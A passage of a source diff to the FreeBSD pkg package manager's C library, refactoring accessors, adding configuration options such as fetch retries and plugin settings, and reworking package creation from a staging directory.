pkg_add(struct pkgdb *db, const char *path, unsigned flags)
{
-
	const char *arch;
-
	const char *myarch;
-
	const char *origin;
-
	struct archive *a;
+
	const char	*arch;
+
	const char	*myarch;
+
	const char	*origin;
+
	struct archive	*a;
	struct archive_entry *ae;
-
	struct pkg *pkg = NULL;
-
	struct pkg_dep *dep = NULL;
-
	bool extract = true;
-
	bool handle_rc = false;
-
	char dpath[MAXPATHLEN + 1];
-
	const char *basedir;
-
	const char *ext;
-
	int retcode = EPKG_OK;
-
	int ret;
+
	struct pkg	*pkg = NULL;
+
	struct pkg_dep	*dep = NULL;
+
	bool		 extract = true;
+
	bool		 handle_rc = false;
+
	char		 dpath[MAXPATHLEN + 1];
+
	const char	*basedir;
+
	const char	*ext;
+
	int		 retcode = EPKG_OK;
+
	int		 ret;

	assert(path != NULL);

@@ -138,7 +142,7 @@ pkg_add(struct pkgdb *db, const char *path, int flags)
	 * current archive_entry to the first non-meta file.
	 * If there is no non-meta files, EPKG_END is returned.
	 */
-
	ret = pkg_open2(&pkg, &a, &ae, path, NULL);
+
	ret = pkg_open2(&pkg, &a, &ae, path);
	if (ret == EPKG_END)
		extract = false;
	else if (ret != EPKG_OK) {
@@ -163,7 +167,8 @@ pkg_add(struct pkgdb *db, const char *path, int flags)
	pkg_config_string(PKG_CONFIG_ABI, &myarch);
	pkg_get(pkg, PKG_ARCH, &arch, PKG_ORIGIN, &origin);

-
	if (fnmatch(myarch, arch, FNM_CASEFOLD) == FNM_NOMATCH) {
+
	if (fnmatch(myarch, arch, FNM_CASEFOLD) == FNM_NOMATCH &&
+
	    strncmp(arch, myarch, strlen(myarch)) != 0) {
		pkg_emit_error("wrong architecture: %s instead of %s",
		    arch, myarch);
		if ((flags & PKG_ADD_FORCE) == 0) {
@@ -200,12 +205,16 @@ pkg_add(struct pkgdb *db, const char *path, int flags)

	while (pkg_deps(pkg, &dep) == EPKG_OK) {
		if (dep_installed(dep, db) != EPKG_OK) {
+
			const char *dep_name = pkg_dep_name(dep);
+
			const char *dep_ver = pkg_dep_version(dep);
+

			snprintf(dpath, sizeof(dpath), "%s/%s-%s%s", basedir,
-
					 pkg_dep_get(dep, PKG_DEP_NAME), pkg_dep_get(dep, PKG_DEP_VERSION),
-
					 ext);
+
			    dep_name, dep_ver, ext);

-
			if ((flags & PKG_ADD_UPGRADE) == 0 && access(dpath, F_OK) == 0) {
-
				if (pkg_add(db, dpath, PKG_ADD_AUTOMATIC) != EPKG_OK) {
+
			if ((flags & PKG_ADD_UPGRADE) == 0 &&
+
			    access(dpath, F_OK) == 0) {
+
				ret = pkg_add(db, dpath, PKG_ADD_AUTOMATIC);
+
				if (ret != EPKG_OK) {
					retcode = EPKG_FATAL;
					goto cleanup;
				}
@@ -230,7 +239,7 @@ pkg_add(struct pkgdb *db, const char *path, int flags)
	/*
	 * Execute pre-install scripts
	 */
-
	if ((flags & PKG_ADD_UPGRADE_NEW) == 0)
+
	if ((flags & PKG_ADD_USE_UPGRADE_SCRIPTS) == 0)
		pkg_script_run(pkg, PKG_SCRIPT_PRE_INSTALL);

	/* add the user and group if necessary */
@@ -249,7 +258,7 @@ pkg_add(struct pkgdb *db, const char *path, int flags)
	/*
	 * Execute post install scripts
	 */
-
	if (flags & PKG_ADD_UPGRADE_NEW)
+
	if (flags & PKG_ADD_USE_UPGRADE_SCRIPTS)
		pkg_script_run(pkg, PKG_SCRIPT_POST_UPGRADE);
	else
		pkg_script_run(pkg, PKG_SCRIPT_POST_INSTALL);
modified libpkg/pkg_attributes.c
@@ -59,21 +59,45 @@ pkg_dep_get(struct pkg_dep const * const d, const pkg_dep_attr attr)
	assert(d != NULL);

	switch (attr) {
-
		case PKG_DEP_NAME:
-
			return (sbuf_get(d->name));
-
			break;
-
		case PKG_DEP_ORIGIN:
-
			return (sbuf_get(d->origin));
-
			break;
-
		case PKG_DEP_VERSION:
-
			return (sbuf_get(d->version));
-
			break;
-
		default:
-
			return (NULL);
-
			break;
+
	case PKG_DEP_NAME:
+
		return (sbuf_get(d->name));
+
		break;
+
	case PKG_DEP_ORIGIN:
+
		return (sbuf_get(d->origin));
+
		break;
+
	case PKG_DEP_VERSION:
+
		return (sbuf_get(d->version));
+
		break;
+
	default:
+
		return (NULL);
+
		break;
	}
}

+
const char *
+
pkg_dep_name(struct pkg_dep const * const d)
+
{
+
	assert( d != NULL);
+

+
	return (sbuf_get(d->name));
+
}
+

+
const char *
+
pkg_dep_origin(struct pkg_dep const * const d)
+
{
+
	assert( d != NULL);
+

+
	return (sbuf_get(d->origin));
+
}
+

+
const char *
+
pkg_dep_version(struct pkg_dep const * const d)
+
{
+
	assert( d != NULL);
+

+
	return (sbuf_get(d->version));
+
}
+

/*
 * File
 */
@@ -102,24 +126,64 @@ pkg_file_get(struct pkg_file const * const f, const pkg_file_attr attr)
	assert(f != NULL);

	switch (attr) {
-
		case PKG_FILE_PATH:
-
			return (f->path);
-
			break;
-
		case PKG_FILE_SUM:
-
			return (f->sum);
-
			break;
-
		case PKG_FILE_UNAME:
-
			return (f->uname);
-
			break;
-
		case PKG_FILE_GNAME:
-
			return (f->gname);
-
			break;
-
		default:
-
			return (NULL);
-
			break;
+
	case PKG_FILE_PATH:
+
		return (f->path);
+
		break;
+
	case PKG_FILE_SUM:
+
		return (f->sum);
+
		break;
+
	case PKG_FILE_UNAME:
+
		return (f->uname);
+
		break;
+
	case PKG_FILE_GNAME:
+
		return (f->gname);
+
		break;
+
	default:
+
		return (NULL);
+
		break;
	}
}

+
const char *
+
pkg_file_path(struct pkg_file const * const f)
+
{
+
	assert(f != NULL);
+

+
	return (f->path);
+
}
+

+
const char *
+
pkg_file_cksum(struct pkg_file const * const f)
+
{
+
	assert(f != NULL);
+

+
	return (f->sum);
+
}
+

+
const char *
+
pkg_file_uname(struct pkg_file const * const f)
+
{
+
	assert(f != NULL);
+

+
	return (f->uname);
+
}
+

+
const char *
+
pkg_file_gname(struct pkg_file const * const f)
+
{
+
	assert(f != NULL);
+

+
	return (f->gname);
+
}
+

+
mode_t
+
pkg_file_mode(struct pkg_file const * const f)
+
{
+
	assert(f != NULL);
+

+
	return (f->perm);
+
}
+

/*
 * Dir
 */
@@ -144,29 +208,63 @@ pkg_dir_free(struct pkg_dir *d)
}

const char *
-
pkg_dir_path(struct pkg_dir *d)
+
pkg_dir_path(struct pkg_dir const * const d)
{
+
	assert(d != NULL);
+

	return (d->path);
}

+
const char *
+
pkg_dir_uname(struct pkg_dir const * const d)
+
{
+
	assert(d != NULL);
+

+
	return (d->uname);
+
}
+

+
const char *
+
pkg_dir_gname(struct pkg_dir const * const d)
+
{
+
	assert(d != NULL);
+

+
	return (d->gname);
+
}
+

+
mode_t
+
pkg_dir_mode(struct pkg_dir const * const d)
+
{
+
	assert(d != NULL);
+

+
	return (d->perm);
+
}
+

bool
-
pkg_dir_try(struct pkg_dir *d)
+
pkg_dir_try(struct pkg_dir const * const d)
{
+
	assert(d != NULL);
+

	return (d->try);
}

+
/*
+
 * Category
+
 */
+

int
pkg_category_new(struct pkg_category **c)
{
-
	if (( *c = calloc(1, sizeof(struct pkg_category))) == NULL)
+
	if ((*c = calloc(1, sizeof(struct pkg_category))) == NULL)
		return (EPKG_FATAL);

	return (EPKG_OK);
}

const char *
-
pkg_category_name(struct pkg_category *c)
+
pkg_category_name(struct pkg_category const * const c)
{
+
	assert(c != NULL);
+

	return (sbuf_get(c->name));
}

@@ -201,18 +299,19 @@ pkg_license_free(struct pkg_license *l)
	if (l == NULL)
		return;

-
	sbuf_free(l->name);
	free(l);
}

const char *
-
pkg_license_name(struct pkg_license *l)
+
pkg_license_name(struct pkg_license const * const l)
{
-
	return (sbuf_get(l->name));
+
	assert(l != NULL);
+

+
	return (l->name);
}

/*
-
 * user
+
 * User
 */

int
@@ -236,19 +335,23 @@ pkg_user_free(struct pkg_user *u)
}

const char *
-
pkg_user_name(struct pkg_user *u)
+
pkg_user_name(struct pkg_user const * const u)
{
+
	assert(u != NULL);
+

	return (u->name);
}

const char *
-
pkg_user_uidstr(struct pkg_user *u)
+
pkg_user_uidstr(struct pkg_user const * const u)
{
+
	assert(u != NULL);
+

	return (u->uidstr);
}

/*
-
 * group
+
 * Group
 */

int
@@ -272,53 +375,32 @@ pkg_group_free(struct pkg_group *g)
}

const char *
-
pkg_group_name(struct pkg_group *g)
+
pkg_group_name(struct pkg_group const * const g)
{
+
	assert(g != NULL);
+

	return (g->name);
}

const char *
-
pkg_group_gidstr(struct pkg_group *g)
+
pkg_group_gidstr(struct pkg_group const * const g)
{
+
	assert(g != NULL);
+

	return (g->gidstr);
}

-

/*
 * Script
 */

-
int
-
pkg_script_new(struct pkg_script **script)
-
{
-
	if ((*script = calloc(1, sizeof(struct pkg_script))) == NULL) {
-
		pkg_emit_errno("calloc", "pkg_script");
-
		return (EPKG_FATAL);
-
	}
-

-
	return (EPKG_OK);
-
}
-

-
void
-
pkg_script_free(struct pkg_script *script)
-
{
-
	if (script == NULL)
-
		return;
-

-
	sbuf_free(script->data);
-
	free(script);
-
}
-

const char *
-
pkg_script_data(struct pkg_script *s)
+
pkg_script_get(struct pkg const * const p, pkg_script i)
{
-
	return (sbuf_get(s->data));
-
}
+
	if (p->scripts[i] == NULL)
+
		return (NULL);

-
pkg_script_t
-
pkg_script_type(struct pkg_script *s)
-
{
-
	return (s->type);
+
	return (sbuf_get(p->scripts[i]));
}

/*
@@ -347,14 +429,18 @@ pkg_option_free(struct pkg_option *option)
}

const char *
-
pkg_option_opt(struct pkg_option *option)
+
pkg_option_opt(struct pkg_option const * const option)
{
+
	assert(option != NULL);
+

	return (sbuf_get(option->key));
}

const char *
-
pkg_option_value(struct pkg_option *option)
+
pkg_option_value(struct pkg_option const * const option)
{
+
	assert(option != NULL);
+

	return (sbuf_get(option->value));
}

@@ -364,18 +450,12 @@ pkg_option_value(struct pkg_option *option)
int
pkg_shlib_new(struct pkg_shlib **sl)
{
-
	if (( *sl = calloc(1, sizeof(struct pkg_shlib))) == NULL)
+
	if ((*sl = calloc(1, sizeof(struct pkg_shlib))) == NULL)
		return (EPKG_FATAL);

	return (EPKG_OK);
}

-
const char *
-
pkg_shlib_name(struct pkg_shlib *sl)
-
{
-
	return (sbuf_get(sl->name));
-
}
-

void
pkg_shlib_free(struct pkg_shlib *sl)
{
@@ -385,3 +465,11 @@ pkg_shlib_free(struct pkg_shlib *sl)
	sbuf_free(sl->name);
	free(sl);
}
+

+
const char *
+
pkg_shlib_name(struct pkg_shlib const * const sl)
+
{
+
	assert(sl != NULL);
+

+
	return (sbuf_get(sl->name));
+
}
modified libpkg/pkg_config.c
@@ -42,6 +42,9 @@
#define STRING 0
#define BOOL 1
#define LIST 2
+
#define INTEGER 3
+

+
#define ABI_VAR_STRING "${ABI}"

struct pkg_config_kv {
	char *key;
@@ -151,71 +154,159 @@ static struct config_entry c[] = {
		"DEVELOPER_MODE",
		"NO",
		{ NULL }
-
	}
+
	},
+
	[PKG_CONFIG_PORTAUDIT_SITE] = {
+
		STRING,
+
		"PORTAUDIT_SITE",
+
		"http://portaudit.FreeBSD.org/auditfile.tbz",
+
		{ NULL }
+
	},
+
	[PKG_CONFIG_SRV_MIRROR] = {
+
		BOOL,
+
		"SRV_MIRRORS",
+
		"YES",
+
		{ NULL }
+
	},
+
	[PKG_CONFIG_FETCH_RETRY] = {
+
		INTEGER,
+
		"FETCH_RETRY",
+
		"3",
+
		{ NULL }
+
	},
+
	[PKG_CONFIG_PLUGINS_DIR] = {
+
		STRING,
+
		"PKG_PLUGINS_DIR",
+
		"/usr/local/etc/pkg/plugins",
+
		{ NULL }
+
	},
+
	[PKG_CONFIG_ENABLE_PLUGINS] = {
+
		BOOL,
+
		"PKG_ENABLE_PLUGINS",
+
		"NO",
+
		{ NULL }
+
	},
+
	[PKG_CONFIG_PLUGINS_SUMMARY] = {
+
		BOOL,
+
		"PKG_PLUGINS_SUMMARY",
+
		"NO",
+
		{ NULL }
+
	},
};

static bool parsed = false;
static size_t c_size = sizeof(c) / sizeof(struct config_entry);

static void
-
parse_configuration(yaml_document_t *doc, yaml_node_t *node)
+
parse_config_mapping(yaml_document_t *doc, yaml_node_t *map, size_t ent)
{
-
	size_t i;
+
	yaml_node_pair_t *subpair = map->data.mapping.pairs.start;
+
	yaml_node_t *subkey, *subval;
	struct pkg_config_kv *kv;
-
	yaml_node_pair_t *pair, *subpair;
-
	yaml_node_t *key, *subkey;
-
	yaml_node_t *val, *subval;
+

+
	STAILQ_INIT(&c[ent].list);
+
	while (subpair < map->data.mapping.pairs.top) {
+
		subkey = yaml_document_get_node(doc, subpair->key);
+
		subval = yaml_document_get_node(doc, subpair->value);
+
		if (subkey->type != YAML_SCALAR_NODE ||
+
		    subval->type != YAML_SCALAR_NODE) {
+
			++subpair;
+
			continue;
+
		}
+
		kv = malloc(sizeof(struct pkg_config_kv));
+
		kv->key = strdup(subkey->data.scalar.value);
+
		kv->value = strdup(subval->data.scalar.value);
+
		STAILQ_INSERT_TAIL(&(c[ent].list), kv, next);
+
		++subpair;
+
	}
+
}
+

+
static void
+
parse_configuration(yaml_document_t *doc, yaml_node_t *node)
+
{
+
	size_t ent;
+
	yaml_node_pair_t *pair;

	pair = node->data.mapping.pairs.start;
	while (pair < node->data.mapping.pairs.top) {
-
		key = yaml_document_get_node(doc, pair->key);
-
		val = yaml_document_get_node(doc, pair->value);
+
		yaml_node_t *key = yaml_document_get_node(doc, pair->key);
+
		yaml_node_t *val = yaml_document_get_node(doc, pair->value);

		if (key->data.scalar.length <= 0) {
-
			/* ignoring silently */
+
			/*
+
			 * ignoring silently empty keys can be empty lines or user mistakes
+
			 */
			++pair;
			continue;
		}

-
		if (val->type == YAML_NO_NODE || ( val->type == YAML_SCALAR_NODE && val->data.scalar.length <= 0)) {
-
			/* silently skip on purpose */
+
		if (val->type == YAML_NO_NODE ||
+
		    (val->type == YAML_SCALAR_NODE &&
+
		     val->data.scalar.length <= 0)) {
+
			/*
+
			 * silently skip on purpose to allow user to leave
+
			 * empty lines for examples without complaining
+
			 */
			++pair;
			continue;
		}
-
		for (i = 0; i < c_size; i++) {
-
			if (!strcasecmp(key->data.scalar.value, c[i].key)) {
-
				if (c[i].val != NULL) {
-
					/* skip env var already set */
-
					++pair;
-
					continue;
-
				}
-
				if (val->type == YAML_SCALAR_NODE) {
-
					c[i].val = strdup(val->data.scalar.value);
-
				} else if (val->type == YAML_MAPPING_NODE) {
-
					subpair = val->data.mapping.pairs.start;
-
					STAILQ_INIT(&c[i].list);
-
					while (subpair < val->data.mapping.pairs.top) {
-
						subkey = yaml_document_get_node(doc, subpair->key);
-
						subval = yaml_document_get_node(doc, subpair->value);
-
						if (subkey->type != YAML_SCALAR_NODE || subval->type != YAML_SCALAR_NODE) {
-
							++subpair;
-
							continue;
-
						}
-
						kv = malloc(sizeof(struct pkg_config_kv));
-
						kv->key = strdup(subkey->data.scalar.value);
-
						kv->value = strdup(subval->data.scalar.value);
-
						STAILQ_INSERT_TAIL(&(c[i].list), kv, next);
-
						++subpair;
-
					}
-
				}
-
				break;
+
		for (ent = 0; ent < c_size; ent++) {
+
			if (strcasecmp(key->data.scalar.value, c[ent].key))
+
				continue;
+
			if (c[ent].val != NULL) {
+
				/*
+
				 * skip env var already set
+
				 * Env vars have priority over config files
+
				 */
+
				++pair;
+
				continue;
			}
+
			if (val->type == YAML_SCALAR_NODE)
+
				c[ent].val = strdup(val->data.scalar.value);
+
			else if (val->type == YAML_MAPPING_NODE)
+
				parse_config_mapping(doc, val, ent);
		}
-
		/* unknown values are just silently skipped */
+
		/*
+
		 * unknown values are just silently ignored, because we don't
+
		 * care about them
+
		 */
		++pair;
	}
}

+
/**
+
 * @brief Substitute PACKAGESITE variables
+
 */
+
static void
+
subst_packagesite(void)
+
{
+
	const char *variable_string;
+
	const char *oldval;
+
	const char *myarch;
+
	struct sbuf *newval;
+

+
	oldval = c[PKG_CONFIG_REPO].val;
+

+
	if (oldval == NULL || (variable_string = strstr(oldval, ABI_VAR_STRING)) == NULL)
+
		return;
+

+
	newval = sbuf_new_auto();
+
	sbuf_bcat(newval, oldval, variable_string - oldval);
+
	pkg_config_string(PKG_CONFIG_ABI, &myarch);
+
	sbuf_cat(newval, myarch);
+
	sbuf_cat(newval, variable_string + strlen(ABI_VAR_STRING));
+
	sbuf_finish(newval);
+

+
	free(c[PKG_CONFIG_REPO].val);
+
	c[PKG_CONFIG_REPO].val = strdup(sbuf_data(newval));
+
	sbuf_free(newval);
+
}
+

+
int
+
pkg_initialized(void)
+
{
+
	return (parsed);
+
}
+

int
pkg_config_string(pkg_config_key key, const char **val)
{
@@ -231,6 +322,9 @@ pkg_config_string(pkg_config_key key, const char **val)
		return (EPKG_FATAL);
	}

+
	if (key == PKG_CONFIG_REPO)
+
		subst_packagesite();
+

	*val = c[key].val;

	if (*val == NULL)
@@ -240,6 +334,40 @@ pkg_config_string(pkg_config_key key, const char **val)
}

int
+
pkg_config_int64(pkg_config_key key, int64_t *val)
+
{
+
	const char *errstr = NULL;
+

+
	if (parsed != true) {
+
		pkg_emit_error("pkg_init() must be called before pkg_config_int64()");
+
		return (EPKG_FATAL);
+
	}
+

+
	if (c[key].type != INTEGER) {
+
		pkg_emit_error("this config entry is not an integer");
+
		return (EPKG_FATAL);
+
	}
+
	if (c[key].val != NULL) {
+
		*val = strtonum(c[key].val, 0, INT64_MAX, &errstr);
+
		if (errstr != NULL) {
+
			pkg_emit_error("Unable to convert %s to int64: %s",
+
			    c[key].val, errstr);
+
			return (EPKG_FATAL);
+
		}
+
	} else if (c[key].def != NULL) {
+
		*val = strtonum(c[key].def, 0, INT64_MAX, &errstr);
+
		if (errstr != NULL) {
+
			pkg_emit_error("Unable to convert default value %s to int64: %s",
+
			    c[key].def, errstr);
+
			return (EPKG_FATAL);
+
		}
+
	} else
+
		return (EPKG_FATAL); /* No value set, and no default */
+

+
	return (EPKG_OK);
+
}
+

+
int
pkg_config_bool(pkg_config_key key, bool *val)
{
	*val = false;
@@ -256,14 +384,14 @@ pkg_config_bool(pkg_config_key key, bool *val)

	if (c[key].val != NULL && (
	    strcasecmp(c[key].val, "yes") == 0 ||
-
	    strcasecmp(c[key].val, "true" ) == 0 ||
-
	    strcasecmp(c[key].val, "on" ) == 0)) {
+
	    strcasecmp(c[key].val, "true") == 0 ||
+
	    strcasecmp(c[key].val, "on") == 0)) {
		*val = true;
	}
	else if (c[key].val == NULL && c[key].def != NULL && (
	    strcasecmp(c[key].def, "yes") == 0 ||
-
	    strcasecmp(c[key].def, "true" ) == 0 ||
-
	    strcasecmp(c[key].def, "on" ) == 0)) {
+
	    strcasecmp(c[key].def, "true") == 0 ||
+
	    strcasecmp(c[key].def, "on") == 0)) {
			*val = true;
	}

@@ -301,12 +429,12 @@ pkg_config_kv_get(struct pkg_config_kv *kv, pkg_config_kv_t type)
	assert(kv != NULL);

	switch (type) {
-
		case PKG_CONFIG_KV_KEY:
-
			return (kv->key);
-
			break;
-
		case PKG_CONFIG_KV_VALUE:
-
			return (kv->value);
-
			break;
+
	case PKG_CONFIG_KV_KEY:
+
		return (kv->key);
+
		break;
+
	case PKG_CONFIG_KV_VALUE:
+
		return (kv->value);
+
		break;
	}
	return (NULL);
}
@@ -366,6 +494,7 @@ pkg_init(const char *path)
	yaml_document_delete(&doc);
	yaml_parser_delete(&parser);

+

	parsed = true;
	return (EPKG_OK);
}
@@ -384,6 +513,8 @@ pkg_shutdown(void)
				break;
			case LIST:
				break;
+
			case INTEGER:
+
				break;
			default:
				err(1, "unknown config entry type");
			}
modified libpkg/pkg_create.c
@@ -30,6 +30,7 @@

#include <assert.h>
#include <errno.h>
+
#include <regex.h>
#include <stdlib.h>
#include <string.h>

@@ -40,17 +41,18 @@
static int pkg_create_from_dir(struct pkg *, const char *, struct packing *);

static int
-
pkg_create_from_dir(struct pkg *pkg, const char *root, struct packing *pkg_archive)
+
pkg_create_from_dir(struct pkg *pkg, const char *root,
+
    struct packing *pkg_archive)
{
-
	char fpath[MAXPATHLEN + 1];
-
	struct pkg_file *file = NULL;
-
	struct pkg_dir *dir = NULL;
-
	char *m;
-
	int ret;
-
	const char *mtree;
-
	bool developer;
-
	struct stat st;
-
	char sha256[SHA256_DIGEST_LENGTH * 2 + 1];
+
	char		 fpath[MAXPATHLEN + 1];
+
	struct pkg_file	*file = NULL;
+
	struct pkg_dir	*dir = NULL;
+
	char		*m;
+
	int		 ret;
+
	const char	*mtree;
+
	bool		 developer;
+
	struct stat	 st;
+
	char		 sha256[SHA256_DIGEST_LENGTH * 2 + 1];

	if (pkg_is_valid(pkg) != EPKG_OK) {
		pkg_emit_error("the package is not valid");
@@ -60,45 +62,61 @@ pkg_create_from_dir(struct pkg *pkg, const char *root, struct packing *pkg_archi
	 * if the checksum is not provided in the manifest recompute it
	 */
	while (pkg_files(pkg, &file) == EPKG_OK) {
+
		const char *pkg_path = pkg_file_path(file);
+
		const char *pkg_sum = pkg_file_cksum(file);
+

		if (root != NULL)
-
			snprintf(fpath, sizeof(fpath), "%s%s", root, pkg_file_get(file, PKG_FILE_PATH));
+
			snprintf(fpath, sizeof(fpath), "%s%s", root, pkg_path);
		else
-
			strlcpy(fpath, pkg_file_get(file, PKG_FILE_PATH), sizeof(fpath));
+
			strlcpy(fpath, pkg_path, sizeof(fpath));

-
		if ((pkg_file_get(file, PKG_FILE_SUM) == NULL || pkg_file_get(file, PKG_FILE_SUM)[0] == '\0') && lstat(fpath, &st) == 0 && !S_ISLNK(st.st_mode)) {
+
		if ((pkg_sum == NULL || pkg_sum[0] == '\0') &&
+
		    lstat(fpath, &st) == 0 && !S_ISLNK(st.st_mode)) {
			if (sha256_file(fpath, sha256) != EPKG_OK)
				return (EPKG_FATAL);
			strlcpy(file->sum, sha256, sizeof(file->sum));
		}
	}

+
	/*
+
	 * Register shared libraries used by the package if SHLIBS
+
	 * enabled in conf.  Deletes shlib info if not.
+
	 */
+
	pkg_register_shlibs(pkg);
+

	pkg_emit_manifest(pkg, &m);
	packing_append_buffer(pkg_archive, m, "+MANIFEST", strlen(m));
	free(m);

	pkg_get(pkg, PKG_MTREE, &mtree);
	if (mtree != NULL)
-
		packing_append_buffer(pkg_archive, mtree, "+MTREE_DIRS", strlen(mtree));
+
		packing_append_buffer(pkg_archive, mtree, "+MTREE_DIRS",
+
		    strlen(mtree));

	while (pkg_files(pkg, &file) == EPKG_OK) {
+
		const char *pkg_path = pkg_file_path(file);
+

		if (root != NULL)
-
			snprintf(fpath, sizeof(fpath), "%s%s", root, pkg_file_get(file, PKG_FILE_PATH));
+
			snprintf(fpath, sizeof(fpath), "%s%s", root, pkg_path);
		else
-
			strlcpy(fpath, pkg_file_get(file, PKG_FILE_PATH), sizeof(fpath));
+
			strlcpy(fpath, pkg_path, sizeof(fpath));

-
		ret = packing_append_file_attr(pkg_archive, fpath, pkg_file_get(file, PKG_FILE_PATH), file->uname, file->gname, file->perm);
+
		ret = packing_append_file_attr(pkg_archive, fpath, pkg_path,
+
		    file->uname, file->gname, file->perm);
		pkg_config_bool(PKG_CONFIG_DEVELOPER_MODE, &developer);
		if (developer && ret != EPKG_OK)
			return (ret);
	}

	while (pkg_dirs(pkg, &dir) == EPKG_OK) {
+
		const char *pkg_path = pkg_dir_path(dir);
		if (root != NULL)
-
			snprintf(fpath, sizeof(fpath), "%s%s", root, pkg_dir_path(dir));
+
			snprintf(fpath, sizeof(fpath), "%s%s", root, pkg_path);
		else
			strlcpy(fpath, pkg_dir_path(dir), sizeof(fpath));

-
		ret = packing_append_file_attr(pkg_archive, fpath, pkg_dir_path(dir), dir->uname, dir->gname, dir->perm);
+
		ret = packing_append_file_attr(pkg_archive, fpath, pkg_path,
+
		    dir->uname, dir->gname, dir->perm);
		pkg_config_bool(PKG_CONFIG_DEVELOPER_MODE, &developer);
		if (developer && ret != EPKG_OK)
			return (ret);
@@ -108,11 +126,12 @@ pkg_create_from_dir(struct pkg *pkg, const char *root, struct packing *pkg_archi
}

static struct packing *
-
pkg_create_archive(const char *outdir, struct pkg *pkg, pkg_formats format, int required_flags)
+
pkg_create_archive(const char *outdir, struct pkg *pkg, pkg_formats format,
+
    unsigned required_flags)
{
-
	char *pkg_path = NULL;
-
	struct packing *pkg_archive = NULL;
-
	const char *pkgname, *pkgversion;
+
	char		*pkg_path = NULL;
+
	struct packing	*pkg_archive = NULL;
+
	const char	*pkgname, *pkgversion;

	/*
	 * Ensure that we have all the information we need
@@ -137,29 +156,135 @@ pkg_create_archive(const char *outdir, struct pkg *pkg, pkg_formats format, int
	return pkg_archive;
}

+
static const char * const scripts[] = {
+
	"+INSTALL",
+
	"+PRE_INSTALL",
+
	"+POST_INSTALL",
+
	"+POST_INSTALL",
+
	"+DEINSTALL",
+
	"+PRE_DEINSTALL",
+
	"+POST_DEINSTALL",
+
	"+UPGRADE",
+
	"+PRE_UPGRADE",
+
	"+POST_UPGRADE",
+
	"pkg-install",
+
	"pkg-pre-install",
+
	"pkg-post-install",
+
	"pkg-deinstall",
+
	"pkg-pre-deinstall",
+
	"pkg-post-deinstall",
+
	"pkg-upgrade",
+
	"pkg-pre-upgrade",
+
	"pkg-post-upgrade",
+
	NULL
+
};
+

int
-
pkg_create_fakeroot(const char *outdir, pkg_formats format, const char *rootdir, const char *metadatadir)
+
pkg_create_staged(const char *outdir, pkg_formats format, const char *rootdir,
+
    const char *md_dir, char *plist)
{
-
	struct pkg *pkg = NULL;
-
	struct pkg_file *file = NULL;
-
	struct pkg_dir *dir = NULL;
-
	struct packing *pkg_archive = NULL;
-
	char *manifest = NULL, *manifest_path = NULL;
-
	int ret = ENOMEM;
+
	struct pkg	*pkg = NULL;
+
	struct pkg_file	*file = NULL;
+
	struct pkg_dir	*dir = NULL;
+
	struct packing	*pkg_archive = NULL;
+
	char		*manifest = NULL;
+
	char		 path[MAXPATHLEN];
+
	char		 arch[BUFSIZ];
+
	int		 ret = ENOMEM;
+
	char		*buf;
+
	int		 i;
+
	regex_t		 preg;
+
	regmatch_t	 pmatch[2];
+
	size_t		 size;
+
	char		*www;

	/* Load the manifest from the metadata directory */
-
	if (asprintf(&manifest_path, "%s/+MANIFEST", metadatadir) == -1)
+
	if (snprintf(path, sizeof(path), "%s/+MANIFEST", md_dir) == -1)
		goto cleanup;

	pkg_new(&pkg, PKG_FILE);
	if (pkg == NULL)
		goto cleanup;

-
	if ((ret = pkg_load_manifest_file(pkg, manifest_path)) != EPKG_OK) {
+
	if ((ret = pkg_load_manifest_file(pkg, path)) != EPKG_OK) {
+
		ret = EPKG_FATAL;
+
		goto cleanup;
+
	}
+

+
	/* if no descriptions provided then try to get it from a file */
+

+
	pkg_get(pkg, PKG_DESC, &buf);
+
	if (buf == NULL) {
+
		if (snprintf(path, sizeof(path), "%s/+DESC", md_dir) == -1)
+
			goto cleanup;
+
		if (access(path, F_OK) == 0)
+
			pkg_set_from_file(pkg, PKG_DESC, path);
+
	}
+

+
	/* if no message try to get it from a file */
+
	pkg_get(pkg, PKG_MESSAGE, &buf);
+
	if (buf == NULL) {
+
		ret = snprintf(path, sizeof(path), "%s/+DISPLAY", md_dir);
+
		if (ret == -1)
+
			goto cleanup;
+
		if (access(path, F_OK) == 0)
+
			pkg_set_from_file(pkg, PKG_MESSAGE, path);
+
	}
+

+
	/* if no arch autodetermine it */
+
	pkg_get(pkg, PKG_ARCH, &buf);
+
	if (buf == NULL) {
+
		pkg_get_myarch(arch, BUFSIZ);
+
		pkg_set(pkg, PKG_ARCH, arch);
+
	}
+

+
	/* if no mtree try to get it from a file */
+
	pkg_get(pkg, PKG_MTREE, &buf);
+
	if (buf == NULL) {
+
		ret = snprintf(path, sizeof(path), "%s/+MTREE_DIRS", md_dir);
+
		if (ret == -1)
+
			goto cleanup;
+
		if (access(path, F_OK) == 0)
+
			pkg_set_from_file(pkg, PKG_MTREE, path);
+
	}
+

+
	for (i = 0; scripts[i] != NULL; i++) {
+
		snprintf(path, sizeof(path), "%s/%s", md_dir, scripts[i]);
+
		if (access(path, F_OK) == 0)
+
			pkg_addscript_file(pkg, path);
+
	}
+

+
	if (plist != NULL &&
+
	    ports_parse_plist(pkg, plist, rootdir) != EPKG_OK) {
		ret = EPKG_FATAL;
		goto cleanup;
	}

+
	/* if www is not given then try to determine it from description */
+
	pkg_get(pkg, PKG_WWW, &www);
+
	if (www == NULL) {
+
		pkg_get(pkg, PKG_DESC, &buf);
+
		if (buf == NULL) {
+
			pkg_emit_error("No www or desc defined in manifest");
+
			ret = EPKG_FATAL;
+
			goto cleanup;
+
		}
+
		regcomp(&preg, "^WWW:[[:space:]]*(.*)$",
+
		    REG_EXTENDED|REG_ICASE|REG_NEWLINE);
+
		if (regexec(&preg, buf, 2, pmatch, 0) == 0) {
+
			size = pmatch[1].rm_eo - pmatch[1].rm_so;
+
			www = strndup(&buf[pmatch[1].rm_so], size);
+
			pkg_set(pkg, PKG_WWW, www);
+
			free(www);
+
		} else {
+
			pkg_set(pkg, PKG_WWW, "UNKNOWN");
+
		}
+
		regfree(&preg);
+
	} else {
+
		pkg_set(pkg, PKG_WWW, www);
+
		free(www);
+
	}
+

	/* Create the archive */
	pkg_archive = pkg_create_archive(outdir, pkg, format, 0);
	if (pkg_archive == NULL) {
@@ -167,9 +292,10 @@ pkg_create_fakeroot(const char *outdir, pkg_formats format, const char *rootdir,
		goto cleanup;
	}

-
	if (pkg_files(pkg, &file) != EPKG_OK && pkg_dirs(pkg, &dir) != EPKG_OK) {
+
	if (pkg_files(pkg, &file) != EPKG_OK &&
+
	    pkg_dirs(pkg, &dir) != EPKG_OK) {
		/* Now traverse the file directories, adding to the archive */
-
		packing_append_tree(pkg_archive, metadatadir, NULL);
+
